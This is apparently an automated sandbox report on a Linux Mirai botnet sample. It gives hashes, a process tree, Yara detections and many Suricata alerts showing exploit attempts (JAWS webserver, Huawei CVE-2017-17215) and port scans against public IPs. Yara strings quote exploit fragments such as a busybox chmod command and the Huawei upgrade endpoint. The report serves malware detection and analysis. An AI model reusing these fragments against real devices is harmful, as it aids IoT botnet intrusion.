Edit tour

Linux Analysis Report
sh4.elf

Overview

General Information

Sample name:	sh4.elf
Analysis ID:	1567823
MD5:	bb42d744ea1185cd59b253ce69a36a61
SHA1:	f64ebbde02a05ef900825c1061b4beea631959e6
SHA256:	145bafd457bcfb1ea526566c8dd6a8cadf0eae52776649718edfb6c60a33d4af
Tags:	elfuser-abuse_ch
Infos:

Detection

Mirai

Score:	100
Range:	0 - 100
Whitelisted:	false

Signatures

Antivirus / Scanner detection for submitted sample

Detected Mirai

Malicious sample detected (through community Yara rule)

Suricata IDS alerts for network traffic

Yara detected Mirai

Connects to many ports of the same IP (likely port scanning)

Uses known network protocols on non-standard ports

Detected TCP or UDP traffic on non-standard ports

HTTP GET or POST without a user agent

Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable

Sample has stripped symbol table

Sample listens on a socket

Tries to resolve domain names, but no domain seems valid (expired dropper behavior)

Uses the "uname" system call to query kernel version information (possible evasion)

Yara signature match

Classification

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1567823
Start date and time:	2024-12-03 22:01:12 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 45s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultlinuxfilecookbook.jbs
Analysis system description:	Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:	default
Sample name:	sh4.elf
Detection:	MAL
Classification:	mal100.troj.linELF@0/0@30/0

Warnings

HTTP sessions have been limited to 150. Please view the PCAPs for the complete data.
Report size exceeded maximum capacity and may have missing network information.
VT rate limit hit for: sh4.elf

Runtime Messages

Command:	/tmp/sh4.elf
PID:	5482
Exit Code:	0
Exit Code Info:
Killed:	False
Standard Output:	unstable_is_the_history_of_universe
Standard Error:

Process Tree

system is lnxubuntu20

sh4.elf (PID: 5482, Parent: 5408, MD5: 8943e5f8f8c280467b4472c15ae93ba9) Arguments: /tmp/sh4.elf

sh4.elf New Fork (PID: 5484, Parent: 5482)

sh4.elf New Fork (PID: 5486, Parent: 5484)

sh4.elf New Fork (PID: 5488, Parent: 5484)

sh4.elf New Fork (PID: 5490, Parent: 5484)

sh4.elf New Fork (PID: 5492, Parent: 5484)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Mirai	Mirai is one of the first significant botnets targeting exposed networking devices running Linux. Found in August 2016 by MalwareMustDie, its name means "future" in Japanese. Nowadays it targets a wide range of networked embedded devices such as IP cameras, home routers (many vendors involved), and other IoT devices. Since the source code was published on "Hack Forums" many variants of the Mirai family appeared, infecting mostly home networks all around the world.	No Attribution	http://osint.bambenekconsulting.com/feeds/ http://www.simonroses.com/2016/10/mirai-ddos-botnet-source-code-binary-analysis/ https://blog.malwaremustdie.org/2020/02/mmd-0065-2021-linuxmirai-fbot-re.html https://blog.netlab.360.com/another-lilin-dvr-0-day-being-used-to-spread-mirai-en/ https://blog.netlab.360.com/mirai_ptea-botnet-is-exploiting-undisclosed-kguard-dvr-vulnerability-en/	https://malpedia.caad.fkie.fraunhofer.de/details/elf.mirai

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
sh4.elf	JoeSecurity_Mirai_5	Yara detected Mirai	Joe Security
sh4.elf	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
sh4.elf	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
sh4.elf	MAL_ELF_LNX_Mirai_Oct10_1	Detects ELF Mirai variant	Florian Roth	0xe266:$x2: /bin/busybox chmod 777 * /tmp/ 0xdfbc:$s1: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 0xdf44:$s3: POST /cdn-cgi/
sh4.elf	MAL_ELF_LNX_Mirai_Oct10_2	Detects ELF malware Mirai related	Florian Roth	0xdf44:$c01: 50 4F 53 54 20 2F 63 64 6E 2D 63 67 69 2F 00 00 20 48 54 54 50 2F 31 2E 31 0D 0A 55 73 65 72 2D 41 67 65 6E 74 3A 20 00 0D 0A 48 6F 73 74 3A

Memory Dumps

Source	Rule	Description	Author	Strings
5482.1.00007f32ac400000.00007f32ac410000.r-x.sdmp	JoeSecurity_Mirai_5	Yara detected Mirai	Joe Security
5482.1.00007f32ac400000.00007f32ac410000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
5482.1.00007f32ac400000.00007f32ac410000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
5482.1.00007f32ac400000.00007f32ac410000.r-x.sdmp	MAL_ELF_LNX_Mirai_Oct10_1	Detects ELF Mirai variant	Florian Roth	0xe266:$x2: /bin/busybox chmod 777 * /tmp/ 0xdfbc:$s1: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 0xdf44:$s3: POST /cdn-cgi/
5482.1.00007f32ac400000.00007f32ac410000.r-x.sdmp	MAL_ELF_LNX_Mirai_Oct10_2	Detects ELF malware Mirai related	Florian Roth	0xdf44:$c01: 50 4F 53 54 20 2F 63 64 6E 2D 63 67 69 2F 00 00 20 48 54 54 50 2F 31 2E 31 0D 0A 55 73 65 72 2D 41 67 65 6E 74 3A 20 00 0D 0A 48 6F 73 74 3A
5486.1.00007f32ac400000.00007f32ac410000.r-x.sdmp	JoeSecurity_Mirai_5	Yara detected Mirai	Joe Security
5486.1.00007f32ac400000.00007f32ac410000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
5486.1.00007f32ac400000.00007f32ac410000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
5486.1.00007f32ac400000.00007f32ac410000.r-x.sdmp	MAL_ELF_LNX_Mirai_Oct10_1	Detects ELF Mirai variant	Florian Roth	0xe266:$x2: /bin/busybox chmod 777 * /tmp/ 0xdfbc:$s1: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 0xdf44:$s3: POST /cdn-cgi/
5486.1.00007f32ac400000.00007f32ac410000.r-x.sdmp	MAL_ELF_LNX_Mirai_Oct10_2	Detects ELF malware Mirai related	Florian Roth	0xdf44:$c01: 50 4F 53 54 20 2F 63 64 6E 2D 63 67 69 2F 00 00 20 48 54 54 50 2F 31 2E 31 0D 0A 55 73 65 72 2D 41 67 65 6E 74 3A 20 00 0D 0A 48 6F 73 74 3A
Process Memory Space: sh4.elf PID: 5482	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
Process Memory Space: sh4.elf PID: 5486	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
Click to see the 7 entries

Suricata Signatures

ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-03T22:02:06.278926+0100	2030092	1	Web Application Attack	192.168.2.14	34708	83.66.176.9	80	TCP
2024-12-03T22:02:07.430428+0100	2030092	1	Web Application Attack	192.168.2.14	46952	85.122.192.250	80	TCP
2024-12-03T22:02:15.780691+0100	2030092	1	Web Application Attack	192.168.2.14	38234	163.191.151.241	80	TCP
2024-12-03T22:02:15.869663+0100	2030092	1	Web Application Attack	192.168.2.14	34310	35.155.1.212	80	TCP
2024-12-03T22:02:16.128386+0100	2030092	1	Web Application Attack	192.168.2.14	54350	54.192.42.136	80	TCP
2024-12-03T22:02:16.156936+0100	2030092	1	Web Application Attack	192.168.2.14	37330	124.39.156.182	80	TCP
2024-12-03T22:02:25.976870+0100	2030092	1	Web Application Attack	192.168.2.14	45584	100.186.253.107	80	TCP
2024-12-03T22:02:26.061538+0100	2030092	1	Web Application Attack	192.168.2.14	57128	8.73.108.228	80	TCP
2024-12-03T22:02:26.077090+0100	2030092	1	Web Application Attack	192.168.2.14	48768	220.43.80.1	80	TCP
2024-12-03T22:02:26.086281+0100	2030092	1	Web Application Attack	192.168.2.14	59194	86.124.165.253	80	TCP
2024-12-03T22:02:26.108314+0100	2030092	1	Web Application Attack	192.168.2.14	54106	149.250.7.242	80	TCP
2024-12-03T22:02:26.108358+0100	2030092	1	Web Application Attack	192.168.2.14	43720	13.161.131.22	80	TCP
2024-12-03T22:02:26.108493+0100	2030092	1	Web Application Attack	192.168.2.14	34666	166.74.103.249	80	TCP
2024-12-03T22:02:26.117682+0100	2030092	1	Web Application Attack	192.168.2.14	50426	197.136.135.192	80	TCP
2024-12-03T22:02:26.133222+0100	2030092	1	Web Application Attack	192.168.2.14	40264	68.105.40.66	80	TCP
2024-12-03T22:02:26.180051+0100	2030092	1	Web Application Attack	192.168.2.14	55364	222.244.100.80	80	TCP
2024-12-03T22:02:26.516614+0100	2030092	1	Web Application Attack	192.168.2.14	52012	93.51.131.216	80	TCP

ET MALWARE Mirai Variant User-Agent (Outbound)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-03T22:02:06.278926+0100	2029034	1	Web Application Attack	192.168.2.14	34708	83.66.176.9	80	TCP
2024-12-03T22:02:07.430428+0100	2029034	1	Web Application Attack	192.168.2.14	46952	85.122.192.250	80	TCP
2024-12-03T22:02:15.780691+0100	2029034	1	Web Application Attack	192.168.2.14	38234	163.191.151.241	80	TCP
2024-12-03T22:02:15.869663+0100	2029034	1	Web Application Attack	192.168.2.14	34310	35.155.1.212	80	TCP
2024-12-03T22:02:16.128386+0100	2029034	1	Web Application Attack	192.168.2.14	54350	54.192.42.136	80	TCP
2024-12-03T22:02:16.156936+0100	2029034	1	Web Application Attack	192.168.2.14	37330	124.39.156.182	80	TCP
2024-12-03T22:02:25.976870+0100	2029034	1	Web Application Attack	192.168.2.14	45584	100.186.253.107	80	TCP
2024-12-03T22:02:26.061538+0100	2029034	1	Web Application Attack	192.168.2.14	57128	8.73.108.228	80	TCP
2024-12-03T22:02:26.077090+0100	2029034	1	Web Application Attack	192.168.2.14	48768	220.43.80.1	80	TCP
2024-12-03T22:02:26.086281+0100	2029034	1	Web Application Attack	192.168.2.14	59194	86.124.165.253	80	TCP
2024-12-03T22:02:26.108314+0100	2029034	1	Web Application Attack	192.168.2.14	54106	149.250.7.242	80	TCP
2024-12-03T22:02:26.108358+0100	2029034	1	Web Application Attack	192.168.2.14	43720	13.161.131.22	80	TCP
2024-12-03T22:02:26.108493+0100	2029034	1	Web Application Attack	192.168.2.14	34666	166.74.103.249	80	TCP
2024-12-03T22:02:26.117682+0100	2029034	1	Web Application Attack	192.168.2.14	50426	197.136.135.192	80	TCP
2024-12-03T22:02:26.133222+0100	2029034	1	Web Application Attack	192.168.2.14	40264	68.105.40.66	80	TCP
2024-12-03T22:02:26.180051+0100	2029034	1	Web Application Attack	192.168.2.14	55364	222.244.100.80	80	TCP
2024-12-03T22:02:26.516614+0100	2029034	1	Web Application Attack	192.168.2.14	52012	93.51.131.216	80	TCP

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-03T22:02:05.587354+0100	2835222	1	A Network Trojan was detected	192.168.2.14	48840	197.231.134.202	37215	TCP
2024-12-03T22:02:11.905744+0100	2835222	1	A Network Trojan was detected	192.168.2.14	46112	156.244.102.116	37215	TCP
2024-12-03T22:02:12.579038+0100	2835222	1	A Network Trojan was detected	192.168.2.14	43506	156.154.246.9	37215	TCP
2024-12-03T22:02:20.826084+0100	2835222	1	A Network Trojan was detected	192.168.2.14	43934	41.175.115.60	37215	TCP
2024-12-03T22:02:24.961412+0100	2835222	1	A Network Trojan was detected	192.168.2.14	57752	197.47.140.171	37215	TCP
2024-12-03T22:02:24.983413+0100	2835222	1	A Network Trojan was detected	192.168.2.14	56762	41.48.214.226	37215	TCP
2024-12-03T22:02:24.983644+0100	2835222	1	A Network Trojan was detected	192.168.2.14	56092	156.71.207.31	37215	TCP
2024-12-03T22:02:24.998915+0100	2835222	1	A Network Trojan was detected	192.168.2.14	46092	156.193.205.255	37215	TCP
2024-12-03T22:02:25.024227+0100	2835222	1	A Network Trojan was detected	192.168.2.14	54222	156.128.181.170	37215	TCP
2024-12-03T22:02:25.045835+0100	2835222	1	A Network Trojan was detected	192.168.2.14	52802	41.74.150.174	37215	TCP
2024-12-03T22:02:25.045867+0100	2835222	1	A Network Trojan was detected	192.168.2.14	57470	41.134.87.124	37215	TCP
2024-12-03T22:02:25.070798+0100	2835222	1	A Network Trojan was detected	192.168.2.14	37534	156.138.184.13	37215	TCP
2024-12-03T22:02:25.076876+0100	2835222	1	A Network Trojan was detected	192.168.2.14	52312	156.5.132.186	37215	TCP
2024-12-03T22:02:25.077047+0100	2835222	1	A Network Trojan was detected	192.168.2.14	48380	156.123.151.3	37215	TCP
2024-12-03T22:02:25.086817+0100	2835222	1	A Network Trojan was detected	192.168.2.14	39168	197.83.50.226	37215	TCP
2024-12-03T22:02:25.092915+0100	2835222	1	A Network Trojan was detected	192.168.2.14	37982	41.249.74.18	37215	TCP
2024-12-03T22:02:25.108395+0100	2835222	1	A Network Trojan was detected	192.168.2.14	47462	41.105.124.119	37215	TCP
2024-12-03T22:02:25.117467+0100	2835222	1	A Network Trojan was detected	192.168.2.14	39102	41.207.60.22	37215	TCP
2024-12-03T22:02:25.117622+0100	2835222	1	A Network Trojan was detected	192.168.2.14	53476	197.113.98.202	37215	TCP
2024-12-03T22:02:25.117764+0100	2835222	1	A Network Trojan was detected	192.168.2.14	52462	197.237.59.118	37215	TCP
2024-12-03T22:02:25.139573+0100	2835222	1	A Network Trojan was detected	192.168.2.14	57616	156.234.225.136	37215	TCP
2024-12-03T22:02:25.155399+0100	2835222	1	A Network Trojan was detected	192.168.2.14	50278	41.73.129.181	37215	TCP
2024-12-03T22:02:25.211782+0100	2835222	1	A Network Trojan was detected	192.168.2.14	54134	197.83.84.192	37215	TCP
2024-12-03T22:02:25.998932+0100	2835222	1	A Network Trojan was detected	192.168.2.14	54160	156.3.55.17	37215	TCP
2024-12-03T22:02:25.999170+0100	2835222	1	A Network Trojan was detected	192.168.2.14	57956	197.231.150.19	37215	TCP
2024-12-03T22:02:26.014681+0100	2835222	1	A Network Trojan was detected	192.168.2.14	45242	197.240.251.151	37215	TCP
2024-12-03T22:02:26.023779+0100	2835222	1	A Network Trojan was detected	192.168.2.14	36932	197.17.118.166	37215	TCP
2024-12-03T22:02:26.039621+0100	2835222	1	A Network Trojan was detected	192.168.2.14	60416	156.117.49.107	37215	TCP
2024-12-03T22:02:26.070702+0100	2835222	1	A Network Trojan was detected	192.168.2.14	56346	197.105.204.171	37215	TCP
2024-12-03T22:02:26.086392+0100	2835222	1	A Network Trojan was detected	192.168.2.14	42150	41.204.219.73	37215	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: sh4.elf

Avira: detected

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:48840 -> 197.231.134.202:37215
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:34708 -> 83.66.176.9:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:34708 -> 83.66.176.9:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:46952 -> 85.122.192.250:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:46952 -> 85.122.192.250:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:46112 -> 156.244.102.116:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:43506 -> 156.154.246.9:37215
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:38234 -> 163.191.151.241:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:38234 -> 163.191.151.241:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:34310 -> 35.155.1.212:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:34310 -> 35.155.1.212:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:54350 -> 54.192.42.136:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:37330 -> 124.39.156.182:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:54350 -> 54.192.42.136:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:37330 -> 124.39.156.182:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:43934 -> 41.175.115.60:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:57470 -> 41.134.87.124:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:46092 -> 156.193.205.255:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:56092 -> 156.71.207.31:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:53476 -> 197.113.98.202:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:56762 -> 41.48.214.226:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:57752 -> 197.47.140.171:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:37534 -> 156.138.184.13:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:52462 -> 197.237.59.118:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:48380 -> 156.123.151.3:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:54222 -> 156.128.181.170:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:39168 -> 197.83.50.226:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:52312 -> 156.5.132.186:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:57616 -> 156.234.225.136:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:37982 -> 41.249.74.18:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:39102 -> 41.207.60.22:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:47462 -> 41.105.124.119:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:52802 -> 41.74.150.174:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:50278 -> 41.73.129.181:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:54134 -> 197.83.84.192:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:56346 -> 197.105.204.171:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:54160 -> 156.3.55.17:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:45242 -> 197.240.251.151:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:36932 -> 197.17.118.166:37215
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:34666 -> 166.74.103.249:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:34666 -> 166.74.103.249:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:48768 -> 220.43.80.1:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:45584 -> 100.186.253.107:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:48768 -> 220.43.80.1:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:52012 -> 93.51.131.216:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:45584 -> 100.186.253.107:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:40264 -> 68.105.40.66:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:40264 -> 68.105.40.66:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:52012 -> 93.51.131.216:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:42150 -> 41.204.219.73:37215
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:43720 -> 13.161.131.22:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:50426 -> 197.136.135.192:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:43720 -> 13.161.131.22:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:55364 -> 222.244.100.80:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:50426 -> 197.136.135.192:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:55364 -> 222.244.100.80:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:57128 -> 8.73.108.228:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:54106 -> 149.250.7.242:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:54106 -> 149.250.7.242:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:57128 -> 8.73.108.228:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:57956 -> 197.231.150.19:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:60416 -> 156.117.49.107:37215
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:59194 -> 86.124.165.253:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:59194 -> 86.124.165.253:80

Connects to many ports of the same IP (likely port scanning)

Source: global traffic	TCP traffic: 41.47.241.24 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.77.34.39 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.177.206.103 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.127.233.81 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.55.176.148 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.9.73.239 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.153.222.47 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.88.49.109 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.165.104.33 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.253.21.171 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.106.236.35 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.63.244.178 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.6.83.113 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.56.12.58 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.189.169.169 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.30.245.141 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.195.219.209 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.216.242.188 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.186.83.163 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.180.239.180 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.153.108.223 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.87.234.10 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.80.209.203 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.230.230.139 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.201.177.129 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.218.175.110 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.141.173.152 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.109.89.139 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.200.132.221 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.235.182.56 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.246.176.86 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.104.25.197 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.193.38.157 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.62.82.246 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.113.112.79 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.93.240.87 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.210.208.107 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.196.213.124 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.221.240.44 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.91.228.72 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.167.116.43 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.118.251.58 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.166.119.28 ports 1,2,3,5,7,37215
